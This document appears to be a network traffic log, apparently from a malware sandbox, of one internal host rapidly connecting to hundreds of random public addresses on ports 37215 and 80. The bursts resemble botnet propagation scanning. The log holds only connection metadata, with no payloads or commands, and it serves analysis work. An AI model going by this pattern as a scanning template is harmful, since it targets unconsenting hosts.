Dec 3, 2024 23:16:49.847713947 CET	40597	37215	192.168.2.23	197.177.59.4
Dec 3, 2024 23:16:49.847728968 CET	40597	37215	192.168.2.23	41.4.236.139
Dec 3, 2024 23:16:49.847708941 CET	40597	37215	192.168.2.23	41.159.124.101
Dec 3, 2024 23:16:49.847713947 CET	40597	37215	192.168.2.23	41.182.132.17
Dec 3, 2024 23:16:49.847712994 CET	40597	37215	192.168.2.23	41.250.95.66
Dec 3, 2024 23:16:49.847708941 CET	40597	37215	192.168.2.23	41.159.243.156
Dec 3, 2024 23:16:49.847707033 CET	40597	37215	192.168.2.23	197.29.69.65
Dec 3, 2024 23:16:49.847708941 CET	40597	37215	192.168.2.23	197.201.96.140
Dec 3, 2024 23:16:49.847712994 CET	40597	37215	192.168.2.23	41.255.40.187
Dec 3, 2024 23:16:49.847708941 CET	40597	37215	192.168.2.23	156.78.32.217
Dec 3, 2024 23:16:49.847712994 CET	40597	37215	192.168.2.23	156.228.183.132
Dec 3, 2024 23:16:49.847707033 CET	40597	37215	192.168.2.23	156.78.242.75
Dec 3, 2024 23:16:49.847708941 CET	40597	37215	192.168.2.23	197.73.248.49
Dec 3, 2024 23:16:49.847728968 CET	40597	37215	192.168.2.23	156.215.184.72
Dec 3, 2024 23:16:49.847708941 CET	40597	37215	192.168.2.23	41.58.242.24
Dec 3, 2024 23:16:49.847737074 CET	40597	37215	192.168.2.23	41.113.168.249
Dec 3, 2024 23:16:49.847728968 CET	40597	37215	192.168.2.23	197.49.85.234
Dec 3, 2024 23:16:49.847712994 CET	40597	37215	192.168.2.23	197.103.139.53
Dec 3, 2024 23:16:49.847712994 CET	40597	37215	192.168.2.23	156.217.175.17
Dec 3, 2024 23:16:49.847712994 CET	40597	37215	192.168.2.23	197.93.42.19
Dec 3, 2024 23:16:49.847738981 CET	40597	37215	192.168.2.23	41.68.90.226
Dec 3, 2024 23:16:49.847738981 CET	40597	37215	192.168.2.23	197.73.59.6
Dec 3, 2024 23:16:49.847738981 CET	40597	37215	192.168.2.23	41.157.180.205
Dec 3, 2024 23:16:49.847738981 CET	40597	37215	192.168.2.23	197.123.120.66
Dec 3, 2024 23:16:49.847738981 CET	40597	37215	192.168.2.23	156.51.246.249
Dec 3, 2024 23:16:49.847748041 CET	40597	37215	192.168.2.23	156.69.126.147
Dec 3, 2024 23:16:49.847748041 CET	40597	37215	192.168.2.23	41.69.58.28
Dec 3, 2024 23:16:49.847748041 CET	40597	37215	192.168.2.23	41.4.249.246
Dec 3, 2024 23:16:49.847748041 CET	40597	37215	192.168.2.23	41.252.0.125
Dec 3, 2024 23:16:49.847748995 CET	40597	37215	192.168.2.23	156.176.201.55
Dec 3, 2024 23:16:49.847748041 CET	40597	37215	192.168.2.23	197.218.199.233
Dec 3, 2024 23:16:49.847748995 CET	40597	37215	192.168.2.23	156.140.221.133
Dec 3, 2024 23:16:49.847748041 CET	40597	37215	192.168.2.23	41.106.85.23
Dec 3, 2024 23:16:49.847748995 CET	40597	37215	192.168.2.23	41.114.64.158
Dec 3, 2024 23:16:49.847748995 CET	40597	37215	192.168.2.23	41.239.74.188
Dec 3, 2024 23:16:49.847748995 CET	40597	37215	192.168.2.23	156.121.58.157
Dec 3, 2024 23:16:49.847748041 CET	40597	37215	192.168.2.23	41.237.185.107
Dec 3, 2024 23:16:49.847748995 CET	40597	37215	192.168.2.23	41.128.38.34
Dec 3, 2024 23:16:49.847748995 CET	40597	37215	192.168.2.23	156.231.17.233
Dec 3, 2024 23:16:49.847748041 CET	40597	37215	192.168.2.23	197.167.150.247
Dec 3, 2024 23:16:49.847748995 CET	40597	37215	192.168.2.23	156.11.220.37
Dec 3, 2024 23:16:49.847748041 CET	40597	37215	192.168.2.23	156.244.13.53
Dec 3, 2024 23:16:49.847748995 CET	40597	37215	192.168.2.23	156.119.55.191
Dec 3, 2024 23:16:49.847748995 CET	40597	37215	192.168.2.23	197.201.150.67
Dec 3, 2024 23:16:49.847748995 CET	40597	37215	192.168.2.23	197.221.160.141
Dec 3, 2024 23:16:49.847754002 CET	40597	37215	192.168.2.23	156.216.105.22
Dec 3, 2024 23:16:49.847748995 CET	40597	37215	192.168.2.23	156.192.200.255
Dec 3, 2024 23:16:49.847748995 CET	40597	37215	192.168.2.23	197.154.182.179
Dec 3, 2024 23:16:49.847748995 CET	40597	37215	192.168.2.23	197.211.100.179
Dec 3, 2024 23:16:49.847748995 CET	40597	37215	192.168.2.23	156.70.144.47
Dec 3, 2024 23:16:49.847755909 CET	40597	37215	192.168.2.23	156.149.112.252
Dec 3, 2024 23:16:49.847755909 CET	40597	37215	192.168.2.23	156.52.54.155
Dec 3, 2024 23:16:49.847755909 CET	40597	37215	192.168.2.23	41.191.177.137
Dec 3, 2024 23:16:49.847759008 CET	40597	37215	192.168.2.23	197.60.50.229
Dec 3, 2024 23:16:49.847759962 CET	40597	37215	192.168.2.23	41.111.118.5
Dec 3, 2024 23:16:49.847760916 CET	40597	37215	192.168.2.23	156.13.23.54
Dec 3, 2024 23:16:49.847762108 CET	40597	37215	192.168.2.23	197.74.22.23
Dec 3, 2024 23:16:49.847762108 CET	40597	37215	192.168.2.23	156.93.253.226
Dec 3, 2024 23:16:49.847776890 CET	40597	37215	192.168.2.23	41.95.191.10
Dec 3, 2024 23:16:49.847779036 CET	40597	37215	192.168.2.23	156.244.26.87
Dec 3, 2024 23:16:49.847779036 CET	40597	37215	192.168.2.23	41.70.66.216
Dec 3, 2024 23:16:49.847779036 CET	40597	37215	192.168.2.23	197.134.248.32
Dec 3, 2024 23:16:49.847779036 CET	40597	37215	192.168.2.23	197.131.161.119
Dec 3, 2024 23:16:49.847779036 CET	40597	37215	192.168.2.23	197.199.170.151
Dec 3, 2024 23:16:49.847790003 CET	40597	37215	192.168.2.23	197.69.198.143
Dec 3, 2024 23:16:49.847793102 CET	40597	37215	192.168.2.23	41.3.83.227
Dec 3, 2024 23:16:49.847795010 CET	40597	37215	192.168.2.23	197.114.128.81
Dec 3, 2024 23:16:49.847795010 CET	40597	37215	192.168.2.23	156.144.35.58
Dec 3, 2024 23:16:49.847798109 CET	40597	37215	192.168.2.23	156.60.222.111
Dec 3, 2024 23:16:49.847798109 CET	40597	37215	192.168.2.23	197.127.140.171
Dec 3, 2024 23:16:49.847800970 CET	40597	37215	192.168.2.23	156.0.221.90
Dec 3, 2024 23:16:49.847798109 CET	40597	37215	192.168.2.23	156.107.63.170
Dec 3, 2024 23:16:49.847798109 CET	40597	37215	192.168.2.23	41.187.176.188
Dec 3, 2024 23:16:49.847798109 CET	40597	37215	192.168.2.23	156.57.22.52
Dec 3, 2024 23:16:49.847798109 CET	40597	37215	192.168.2.23	197.119.18.171
Dec 3, 2024 23:16:49.847801924 CET	40597	37215	192.168.2.23	41.160.218.19
Dec 3, 2024 23:16:49.847803116 CET	40597	37215	192.168.2.23	156.59.238.85
Dec 3, 2024 23:16:49.847803116 CET	40597	37215	192.168.2.23	197.175.83.217
Dec 3, 2024 23:16:49.847810984 CET	40597	37215	192.168.2.23	156.91.150.153
Dec 3, 2024 23:16:49.847810984 CET	40597	37215	192.168.2.23	41.1.64.100
Dec 3, 2024 23:16:49.847810984 CET	40597	37215	192.168.2.23	197.201.231.179
Dec 3, 2024 23:16:49.847812891 CET	40597	37215	192.168.2.23	156.252.18.229
Dec 3, 2024 23:16:49.847817898 CET	40597	37215	192.168.2.23	41.60.56.191
Dec 3, 2024 23:16:49.847817898 CET	40597	37215	192.168.2.23	41.215.228.8
Dec 3, 2024 23:16:49.847839117 CET	40597	37215	192.168.2.23	197.244.149.171
Dec 3, 2024 23:16:49.847839117 CET	40597	37215	192.168.2.23	197.132.14.134
Dec 3, 2024 23:16:49.847842932 CET	40597	37215	192.168.2.23	197.38.143.194
Dec 3, 2024 23:16:49.847851038 CET	40597	37215	192.168.2.23	41.76.95.161
Dec 3, 2024 23:16:49.847856998 CET	40597	37215	192.168.2.23	41.100.109.60
Dec 3, 2024 23:16:49.847861052 CET	40597	37215	192.168.2.23	197.161.161.60
Dec 3, 2024 23:16:49.847873926 CET	40597	37215	192.168.2.23	197.104.21.223
Dec 3, 2024 23:16:49.847876072 CET	40597	37215	192.168.2.23	197.0.244.128
Dec 3, 2024 23:16:49.847882986 CET	40597	37215	192.168.2.23	156.184.23.167
Dec 3, 2024 23:16:49.847883940 CET	40597	37215	192.168.2.23	41.18.213.74
Dec 3, 2024 23:16:49.847892046 CET	40597	37215	192.168.2.23	41.77.206.62
Dec 3, 2024 23:16:49.847896099 CET	40597	37215	192.168.2.23	197.38.234.106
Dec 3, 2024 23:16:49.847917080 CET	40597	37215	192.168.2.23	156.244.115.60
Dec 3, 2024 23:16:49.847918034 CET	40597	37215	192.168.2.23	41.117.39.242
Dec 3, 2024 23:16:49.847918034 CET	40597	37215	192.168.2.23	41.164.109.10
Dec 3, 2024 23:16:49.847927094 CET	40597	37215	192.168.2.23	197.27.50.152
Dec 3, 2024 23:16:49.847934008 CET	40597	37215	192.168.2.23	197.116.19.137
Dec 3, 2024 23:16:49.847939014 CET	40597	37215	192.168.2.23	156.114.36.207
Dec 3, 2024 23:16:49.847949028 CET	40597	37215	192.168.2.23	41.90.134.2
Dec 3, 2024 23:16:49.847954988 CET	40597	37215	192.168.2.23	197.245.38.65
Dec 3, 2024 23:16:49.847966909 CET	40597	37215	192.168.2.23	197.186.144.205
Dec 3, 2024 23:16:49.847971916 CET	40597	37215	192.168.2.23	41.166.245.156
Dec 3, 2024 23:16:49.847974062 CET	40597	37215	192.168.2.23	41.213.81.60
Dec 3, 2024 23:16:49.847989082 CET	40597	37215	192.168.2.23	41.30.23.62
Dec 3, 2024 23:16:49.847990990 CET	40597	37215	192.168.2.23	41.135.94.253
Dec 3, 2024 23:16:49.847992897 CET	40597	37215	192.168.2.23	197.33.137.37
Dec 3, 2024 23:16:49.847992897 CET	40597	37215	192.168.2.23	156.166.95.216
Dec 3, 2024 23:16:49.847995996 CET	40597	37215	192.168.2.23	197.135.13.191
Dec 3, 2024 23:16:49.848000050 CET	40597	37215	192.168.2.23	156.136.127.26
Dec 3, 2024 23:16:49.848001003 CET	40597	37215	192.168.2.23	197.251.32.221
Dec 3, 2024 23:16:49.848021030 CET	40597	37215	192.168.2.23	197.203.38.132
Dec 3, 2024 23:16:49.848021030 CET	40597	37215	192.168.2.23	156.99.187.244
Dec 3, 2024 23:16:49.848026991 CET	40597	37215	192.168.2.23	156.42.214.103
Dec 3, 2024 23:16:49.848038912 CET	40597	37215	192.168.2.23	41.129.25.254
Dec 3, 2024 23:16:49.848042011 CET	40597	37215	192.168.2.23	156.237.150.88
Dec 3, 2024 23:16:49.848045111 CET	40597	37215	192.168.2.23	156.241.224.111
Dec 3, 2024 23:16:49.848045111 CET	40597	37215	192.168.2.23	41.199.30.63
Dec 3, 2024 23:16:49.848054886 CET	40597	37215	192.168.2.23	197.30.226.72
Dec 3, 2024 23:16:49.848061085 CET	40597	37215	192.168.2.23	197.73.126.118
Dec 3, 2024 23:16:49.848067045 CET	40597	37215	192.168.2.23	197.163.57.232
Dec 3, 2024 23:16:49.848071098 CET	40597	37215	192.168.2.23	197.34.222.248
Dec 3, 2024 23:16:49.848083973 CET	40597	37215	192.168.2.23	197.63.68.105
Dec 3, 2024 23:16:49.848087072 CET	40597	37215	192.168.2.23	41.176.113.102
Dec 3, 2024 23:16:49.848094940 CET	40597	37215	192.168.2.23	197.25.109.73
Dec 3, 2024 23:16:49.848104954 CET	40597	37215	192.168.2.23	197.175.210.90
Dec 3, 2024 23:16:49.848105907 CET	40597	37215	192.168.2.23	41.171.146.164
Dec 3, 2024 23:16:49.848123074 CET	40597	37215	192.168.2.23	156.147.168.149
Dec 3, 2024 23:16:49.848124981 CET	40597	37215	192.168.2.23	156.10.77.155
Dec 3, 2024 23:16:49.848129034 CET	40597	37215	192.168.2.23	156.201.12.92
Dec 3, 2024 23:16:49.848130941 CET	40597	37215	192.168.2.23	156.215.54.242
Dec 3, 2024 23:16:49.848133087 CET	40597	37215	192.168.2.23	197.35.245.17
Dec 3, 2024 23:16:49.848135948 CET	40597	37215	192.168.2.23	41.102.124.135
Dec 3, 2024 23:16:49.848140955 CET	40597	37215	192.168.2.23	197.154.88.94
Dec 3, 2024 23:16:49.848143101 CET	40597	37215	192.168.2.23	156.24.137.74
Dec 3, 2024 23:16:49.848151922 CET	40597	37215	192.168.2.23	41.93.152.75
Dec 3, 2024 23:16:49.848160982 CET	40597	37215	192.168.2.23	41.198.214.181
Dec 3, 2024 23:16:49.848166943 CET	40597	37215	192.168.2.23	156.164.71.158
Dec 3, 2024 23:16:49.848167896 CET	40597	37215	192.168.2.23	197.250.252.201
Dec 3, 2024 23:16:49.848167896 CET	40597	37215	192.168.2.23	197.52.162.2
Dec 3, 2024 23:16:49.848167896 CET	40597	37215	192.168.2.23	156.236.156.128
Dec 3, 2024 23:16:49.848172903 CET	40597	37215	192.168.2.23	41.109.187.68
Dec 3, 2024 23:16:49.848177910 CET	40597	37215	192.168.2.23	156.209.249.11
Dec 3, 2024 23:16:49.848177910 CET	40597	37215	192.168.2.23	41.215.23.5
Dec 3, 2024 23:16:49.848176956 CET	40597	37215	192.168.2.23	197.26.122.42
Dec 3, 2024 23:16:49.848176956 CET	40597	37215	192.168.2.23	41.157.93.221
Dec 3, 2024 23:16:49.848186016 CET	40597	37215	192.168.2.23	41.86.223.105
Dec 3, 2024 23:16:49.848202944 CET	40597	37215	192.168.2.23	156.183.77.17
Dec 3, 2024 23:16:49.848206997 CET	40597	37215	192.168.2.23	156.142.133.35
Dec 3, 2024 23:16:49.848210096 CET	40597	37215	192.168.2.23	41.15.81.95
Dec 3, 2024 23:16:49.848213911 CET	40597	37215	192.168.2.23	156.124.37.48
Dec 3, 2024 23:16:49.848226070 CET	40597	37215	192.168.2.23	197.169.55.65
Dec 3, 2024 23:16:49.848231077 CET	40597	37215	192.168.2.23	197.118.157.156
Dec 3, 2024 23:16:49.848231077 CET	40597	37215	192.168.2.23	156.152.188.107
Dec 3, 2024 23:16:49.848231077 CET	40597	37215	192.168.2.23	156.121.239.30
Dec 3, 2024 23:16:49.848248005 CET	40597	37215	192.168.2.23	156.172.247.168
Dec 3, 2024 23:16:49.848251104 CET	40597	37215	192.168.2.23	156.65.33.91
Dec 3, 2024 23:16:49.848258972 CET	40597	37215	192.168.2.23	156.106.250.63
Dec 3, 2024 23:16:49.848267078 CET	40597	37215	192.168.2.23	156.1.2.89
Dec 3, 2024 23:16:49.848273039 CET	40597	37215	192.168.2.23	156.76.115.94
Dec 3, 2024 23:16:49.848282099 CET	40597	37215	192.168.2.23	197.80.211.224
Dec 3, 2024 23:16:49.848289967 CET	40597	37215	192.168.2.23	156.51.62.27
Dec 3, 2024 23:16:49.848289967 CET	40597	37215	192.168.2.23	156.23.157.95
Dec 3, 2024 23:16:49.848304033 CET	40597	37215	192.168.2.23	197.29.145.7
Dec 3, 2024 23:16:49.848304033 CET	40597	37215	192.168.2.23	156.45.181.52
Dec 3, 2024 23:16:49.848305941 CET	40597	37215	192.168.2.23	41.237.179.186
Dec 3, 2024 23:16:49.848309040 CET	40597	37215	192.168.2.23	156.247.84.170
Dec 3, 2024 23:16:49.848321915 CET	40597	37215	192.168.2.23	197.139.194.25
Dec 3, 2024 23:16:49.848328114 CET	40597	37215	192.168.2.23	41.69.33.43
Dec 3, 2024 23:16:49.848330021 CET	40597	37215	192.168.2.23	41.36.211.230
Dec 3, 2024 23:16:49.848334074 CET	40597	37215	192.168.2.23	41.126.142.238
Dec 3, 2024 23:16:49.848346949 CET	40597	37215	192.168.2.23	156.172.203.116
Dec 3, 2024 23:16:49.848351002 CET	40597	37215	192.168.2.23	197.199.45.59
Dec 3, 2024 23:16:49.848356962 CET	40597	37215	192.168.2.23	197.154.138.228
Dec 3, 2024 23:16:49.848359108 CET	40597	37215	192.168.2.23	156.245.32.37
Dec 3, 2024 23:16:49.848371983 CET	40597	37215	192.168.2.23	41.213.121.252
Dec 3, 2024 23:16:49.848377943 CET	40597	37215	192.168.2.23	156.156.80.88
Dec 3, 2024 23:16:49.848381996 CET	40597	37215	192.168.2.23	41.230.7.23
Dec 3, 2024 23:16:49.848382950 CET	40597	37215	192.168.2.23	156.10.66.189
Dec 3, 2024 23:16:49.848382950 CET	40597	37215	192.168.2.23	197.168.8.157
Dec 3, 2024 23:16:49.848397017 CET	40597	37215	192.168.2.23	156.10.121.16
Dec 3, 2024 23:16:49.848397017 CET	40597	37215	192.168.2.23	41.34.34.68
Dec 3, 2024 23:16:49.848407984 CET	40597	37215	192.168.2.23	197.44.201.214
Dec 3, 2024 23:16:49.848408937 CET	40597	37215	192.168.2.23	41.100.143.246
Dec 3, 2024 23:16:49.848740101 CET	34756	37215	192.168.2.23	41.5.104.100
Dec 3, 2024 23:16:49.849349022 CET	55824	37215	192.168.2.23	156.251.110.116
Dec 3, 2024 23:16:49.849947929 CET	51584	37215	192.168.2.23	156.87.239.158
Dec 3, 2024 23:16:49.850564957 CET	40366	37215	192.168.2.23	41.131.210.92
Dec 3, 2024 23:16:49.851178885 CET	60136	37215	192.168.2.23	41.47.204.108
Dec 3, 2024 23:16:49.851775885 CET	35412	37215	192.168.2.23	197.99.145.0
Dec 3, 2024 23:16:49.852365971 CET	56378	37215	192.168.2.23	41.49.33.245
Dec 3, 2024 23:16:49.852983952 CET	33220	37215	192.168.2.23	156.151.72.168
Dec 3, 2024 23:16:49.853600025 CET	34606	37215	192.168.2.23	197.117.181.6
Dec 3, 2024 23:16:49.855205059 CET	37215	45386	197.101.175.187	192.168.2.23
Dec 3, 2024 23:16:49.855247974 CET	45386	37215	192.168.2.23	197.101.175.187
Dec 3, 2024 23:16:49.867530107 CET	44632	37215	192.168.2.23	156.133.165.115
Dec 3, 2024 23:16:49.868150949 CET	53212	37215	192.168.2.23	41.126.145.123
Dec 3, 2024 23:16:49.868769884 CET	38146	37215	192.168.2.23	156.248.1.33
Dec 3, 2024 23:16:49.869353056 CET	49514	37215	192.168.2.23	41.145.144.127
Dec 3, 2024 23:16:49.869828939 CET	43480	37215	192.168.2.23	156.113.104.220
Dec 3, 2024 23:16:49.869828939 CET	43480	37215	192.168.2.23	156.113.104.220
Dec 3, 2024 23:16:49.870098114 CET	43570	37215	192.168.2.23	156.113.104.220
Dec 3, 2024 23:16:49.870455980 CET	45386	37215	192.168.2.23	197.101.175.187
Dec 3, 2024 23:16:49.870455980 CET	45386	37215	192.168.2.23	197.101.175.187
Dec 3, 2024 23:16:49.870726109 CET	45452	37215	192.168.2.23	197.101.175.187
Dec 3, 2024 23:16:49.927208900 CET	41216	80	192.168.2.23	160.108.6.246
Dec 3, 2024 23:16:49.927208900 CET	60312	80	192.168.2.23	108.165.135.39
Dec 3, 2024 23:16:49.927210093 CET	41526	80	192.168.2.23	13.3.191.55
Dec 3, 2024 23:16:49.927211046 CET	58364	80	192.168.2.23	105.92.24.72
Dec 3, 2024 23:16:49.927212954 CET	60208	80	192.168.2.23	194.223.37.30
Dec 3, 2024 23:16:49.927215099 CET	41030	80	192.168.2.23	53.125.178.189
Dec 3, 2024 23:16:49.927225113 CET	59108	80	192.168.2.23	110.77.100.173
Dec 3, 2024 23:16:49.927236080 CET	56432	80	192.168.2.23	49.188.188.233
Dec 3, 2024 23:16:49.927237034 CET	58320	80	192.168.2.23	37.79.12.216
Dec 3, 2024 23:16:49.927237034 CET	43962	80	192.168.2.23	107.26.129.146
Dec 3, 2024 23:16:49.927237988 CET	55916	80	192.168.2.23	97.41.29.227
Dec 3, 2024 23:16:49.971781015 CET	37215	40597	41.171.44.196	192.168.2.23
Dec 3, 2024 23:16:49.971836090 CET	37215	40597	197.173.204.9	192.168.2.23
Dec 3, 2024 23:16:49.971851110 CET	40597	37215	192.168.2.23	41.171.44.196
Dec 3, 2024 23:16:49.971927881 CET	40597	37215	192.168.2.23	197.173.204.9
Dec 3, 2024 23:16:49.971940994 CET	37215	40597	41.238.72.229	192.168.2.23
Dec 3, 2024 23:16:49.971957922 CET	37215	40597	156.202.143.176	192.168.2.23
Dec 3, 2024 23:16:49.971967936 CET	37215	40597	197.79.45.182	192.168.2.23
Dec 3, 2024 23:16:49.971976042 CET	37215	40597	197.168.254.205	192.168.2.23
Dec 3, 2024 23:16:49.971982956 CET	37215	40597	197.171.142.249	192.168.2.23
Dec 3, 2024 23:16:49.971987009 CET	40597	37215	192.168.2.23	41.238.72.229
Dec 3, 2024 23:16:49.971997023 CET	37215	40597	156.124.6.104	192.168.2.23
Dec 3, 2024 23:16:49.971997976 CET	40597	37215	192.168.2.23	197.79.45.182
Dec 3, 2024 23:16:49.972003937 CET	40597	37215	192.168.2.23	197.168.254.205
Dec 3, 2024 23:16:49.972007990 CET	37215	40597	156.104.224.250	192.168.2.23
Dec 3, 2024 23:16:49.972017050 CET	37215	40597	41.50.237.224	192.168.2.23
Dec 3, 2024 23:16:49.972021103 CET	40597	37215	192.168.2.23	156.202.143.176
Dec 3, 2024 23:16:49.972043991 CET	40597	37215	192.168.2.23	197.171.142.249
Dec 3, 2024 23:16:49.972064018 CET	40597	37215	192.168.2.23	156.124.6.104
Dec 3, 2024 23:16:49.972068071 CET	37215	40597	156.7.205.183	192.168.2.23
Dec 3, 2024 23:16:49.972079039 CET	40597	37215	192.168.2.23	156.104.224.250
Dec 3, 2024 23:16:49.972095966 CET	40597	37215	192.168.2.23	41.50.237.224
Dec 3, 2024 23:16:49.972095966 CET	40597	37215	192.168.2.23	156.7.205.183
Dec 3, 2024 23:16:49.975486994 CET	37215	35412	197.99.145.0	192.168.2.23
Dec 3, 2024 23:16:49.975529909 CET	35412	37215	192.168.2.23	197.99.145.0
Dec 3, 2024 23:16:49.975857973 CET	35176	37215	192.168.2.23	41.171.44.196
Dec 3, 2024 23:16:49.976453066 CET	49248	37215	192.168.2.23	197.173.204.9
Dec 3, 2024 23:16:49.977044106 CET	52614	37215	192.168.2.23	41.238.72.229
Dec 3, 2024 23:16:49.977627039 CET	55748	37215	192.168.2.23	197.79.45.182
Dec 3, 2024 23:16:49.978226900 CET	52214	37215	192.168.2.23	197.168.254.205
Dec 3, 2024 23:16:49.978823900 CET	39802	37215	192.168.2.23	156.202.143.176
Dec 3, 2024 23:16:49.979743004 CET	42332	37215	192.168.2.23	197.171.142.249
Dec 3, 2024 23:16:49.980343103 CET	38650	37215	192.168.2.23	156.124.6.104
Dec 3, 2024 23:16:49.980935097 CET	33164	37215	192.168.2.23	156.104.224.250
Dec 3, 2024 23:16:49.981543064 CET	54908	37215	192.168.2.23	41.50.237.224
Dec 3, 2024 23:16:49.982170105 CET	43802	37215	192.168.2.23	156.7.205.183
Dec 3, 2024 23:16:49.982573986 CET	35412	37215	192.168.2.23	197.99.145.0
Dec 3, 2024 23:16:49.982573986 CET	35412	37215	192.168.2.23	197.99.145.0
Dec 3, 2024 23:16:49.982832909 CET	35454	37215	192.168.2.23	197.99.145.0
Dec 3, 2024 23:16:49.991386890 CET	37215	44632	156.133.165.115	192.168.2.23
Dec 3, 2024 23:16:49.991439104 CET	44632	37215	192.168.2.23	156.133.165.115
Dec 3, 2024 23:16:49.991482973 CET	44632	37215	192.168.2.23	156.133.165.115
Dec 3, 2024 23:16:49.991482973 CET	44632	37215	192.168.2.23	156.133.165.115
Dec 3, 2024 23:16:49.991741896 CET	44668	37215	192.168.2.23	156.133.165.115
Dec 3, 2024 23:16:49.993542910 CET	37215	43480	156.113.104.220	192.168.2.23
Dec 3, 2024 23:16:49.994147062 CET	37215	45386	197.101.175.187	192.168.2.23
Dec 3, 2024 23:16:50.037431955 CET	37215	45386	197.101.175.187	192.168.2.23
Dec 3, 2024 23:16:50.037441015 CET	37215	43480	156.113.104.220	192.168.2.23
Dec 3, 2024 23:16:50.051394939 CET	80	41526	13.3.191.55	192.168.2.23
Dec 3, 2024 23:16:50.051453114 CET	41526	80	192.168.2.23	13.3.191.55
Dec 3, 2024 23:16:50.051516056 CET	40596	80	192.168.2.23	168.200.219.64
Dec 3, 2024 23:16:50.051516056 CET	40596	80	192.168.2.23	209.58.154.1
Dec 3, 2024 23:16:50.051521063 CET	40596	80	192.168.2.23	166.27.48.146
Dec 3, 2024 23:16:50.051527023 CET	40596	80	192.168.2.23	107.228.249.17
Dec 3, 2024 23:16:50.051536083 CET	40596	80	192.168.2.23	74.248.70.53
Dec 3, 2024 23:16:50.051537037 CET	40596	80	192.168.2.23	87.101.119.206
Dec 3, 2024 23:16:50.051538944 CET	80	41216	160.108.6.246	192.168.2.23
Dec 3, 2024 23:16:50.051548958 CET	80	58364	105.92.24.72	192.168.2.23
Dec 3, 2024 23:16:50.051554918 CET	40596	80	192.168.2.23	81.193.189.217
Dec 3, 2024 23:16:50.051556110 CET	40596	80	192.168.2.23	153.132.153.36
Dec 3, 2024 23:16:50.051558018 CET	40596	80	192.168.2.23	18.81.40.21
Dec 3, 2024 23:16:50.051563978 CET	80	60312	108.165.135.39	192.168.2.23
Dec 3, 2024 23:16:50.051578045 CET	80	60208	194.223.37.30	192.168.2.23
Dec 3, 2024 23:16:50.051578045 CET	40596	80	192.168.2.23	103.173.220.38
Dec 3, 2024 23:16:50.051578999 CET	58364	80	192.168.2.23	105.92.24.72
Dec 3, 2024 23:16:50.051584959 CET	41216	80	192.168.2.23	160.108.6.246
Dec 3, 2024 23:16:50.051588058 CET	80	41030	53.125.178.189	192.168.2.23
Dec 3, 2024 23:16:50.051595926 CET	60312	80	192.168.2.23	108.165.135.39
Dec 3, 2024 23:16:50.051601887 CET	60208	80	192.168.2.23	194.223.37.30
Dec 3, 2024 23:16:50.051615000 CET	40596	80	192.168.2.23	74.97.190.22
Dec 3, 2024 23:16:50.051615953 CET	40596	80	192.168.2.23	2.172.236.81
Dec 3, 2024 23:16:50.051625967 CET	40596	80	192.168.2.23	97.172.184.189
Dec 3, 2024 23:16:50.051625967 CET	41030	80	192.168.2.23	53.125.178.189
Dec 3, 2024 23:16:50.051629066 CET	40596	80	192.168.2.23	61.111.43.223
Dec 3, 2024 23:16:50.051644087 CET	40596	80	192.168.2.23	161.99.179.32
Dec 3, 2024 23:16:50.051645994 CET	40596	80	192.168.2.23	216.241.96.182
Dec 3, 2024 23:16:50.051649094 CET	40596	80	192.168.2.23	103.100.67.67
Dec 3, 2024 23:16:50.051649094 CET	40596	80	192.168.2.23	197.99.117.60
Dec 3, 2024 23:16:50.051652908 CET	40596	80	192.168.2.23	50.95.61.18
Dec 3, 2024 23:16:50.051657915 CET	40596	80	192.168.2.23	205.245.111.148
Dec 3, 2024 23:16:50.051665068 CET	40596	80	192.168.2.23	213.91.125.70
Dec 3, 2024 23:16:50.051676989 CET	40596	80	192.168.2.23	37.5.179.84
Dec 3, 2024 23:16:50.051676989 CET	40596	80	192.168.2.23	27.253.236.34
Dec 3, 2024 23:16:50.051676989 CET	40596	80	192.168.2.23	192.156.79.194
Dec 3, 2024 23:16:50.051677942 CET	40596	80	192.168.2.23	136.5.253.247
Dec 3, 2024 23:16:50.051691055 CET	40596	80	192.168.2.23	213.69.201.104
Dec 3, 2024 23:16:50.051697016 CET	40596	80	192.168.2.23	119.224.112.176
Dec 3, 2024 23:16:50.051702976 CET	40596	80	192.168.2.23	158.4.4.219
Dec 3, 2024 23:16:50.051713943 CET	40596	80	192.168.2.23	164.5.176.220
Dec 3, 2024 23:16:50.051714897 CET	40596	80	192.168.2.23	134.99.215.214
Dec 3, 2024 23:16:50.051721096 CET	40596	80	192.168.2.23	45.34.55.192
Dec 3, 2024 23:16:50.051728964 CET	40596	80	192.168.2.23	117.247.71.229
Dec 3, 2024 23:16:50.051734924 CET	40596	80	192.168.2.23	81.1.62.237
Dec 3, 2024 23:16:50.051738024 CET	40596	80	192.168.2.23	43.56.143.180
Dec 3, 2024 23:16:50.051743984 CET	40596	80	192.168.2.23	146.159.170.128
Dec 3, 2024 23:16:50.051752090 CET	40596	80	192.168.2.23	169.155.165.208
Dec 3, 2024 23:16:50.051758051 CET	40596	80	192.168.2.23	8.253.42.76
Dec 3, 2024 23:16:50.051759958 CET	40596	80	192.168.2.23	108.118.129.181
Dec 3, 2024 23:16:50.051763058 CET	40596	80	192.168.2.23	208.60.222.18
Dec 3, 2024 23:16:50.051765919 CET	40596	80	192.168.2.23	202.35.161.201
Dec 3, 2024 23:16:50.051774979 CET	40596	80	192.168.2.23	65.94.183.68
Dec 3, 2024 23:16:50.051779985 CET	40596	80	192.168.2.23	155.144.107.90
Dec 3, 2024 23:16:50.051779985 CET	40596	80	192.168.2.23	43.10.175.154
Dec 3, 2024 23:16:50.051789999 CET	40596	80	192.168.2.23	100.187.240.188
Dec 3, 2024 23:16:50.051801920 CET	40596	80	192.168.2.23	19.170.203.23
Dec 3, 2024 23:16:50.051801920 CET	40596	80	192.168.2.23	180.106.195.135
Dec 3, 2024 23:16:50.051817894 CET	40596	80	192.168.2.23	118.67.78.128
Dec 3, 2024 23:16:50.051820040 CET	40596	80	192.168.2.23	205.225.201.44
Dec 3, 2024 23:16:50.051821947 CET	40596	80	192.168.2.23	57.149.92.235
Dec 3, 2024 23:16:50.051826000 CET	40596	80	192.168.2.23	131.163.203.37
Dec 3, 2024 23:16:50.051840067 CET	40596	80	192.168.2.23	113.64.237.233
Dec 3, 2024 23:16:50.051840067 CET	40596	80	192.168.2.23	91.68.142.234
Dec 3, 2024 23:16:50.051840067 CET	40596	80	192.168.2.23	84.60.199.114
Dec 3, 2024 23:16:50.051851034 CET	40596	80	192.168.2.23	62.138.165.75
Dec 3, 2024 23:16:50.051851034 CET	40596	80	192.168.2.23	34.130.176.49
Dec 3, 2024 23:16:50.051857948 CET	40596	80	192.168.2.23	90.171.141.247
Dec 3, 2024 23:16:50.051877975 CET	40596	80	192.168.2.23	86.180.2.38
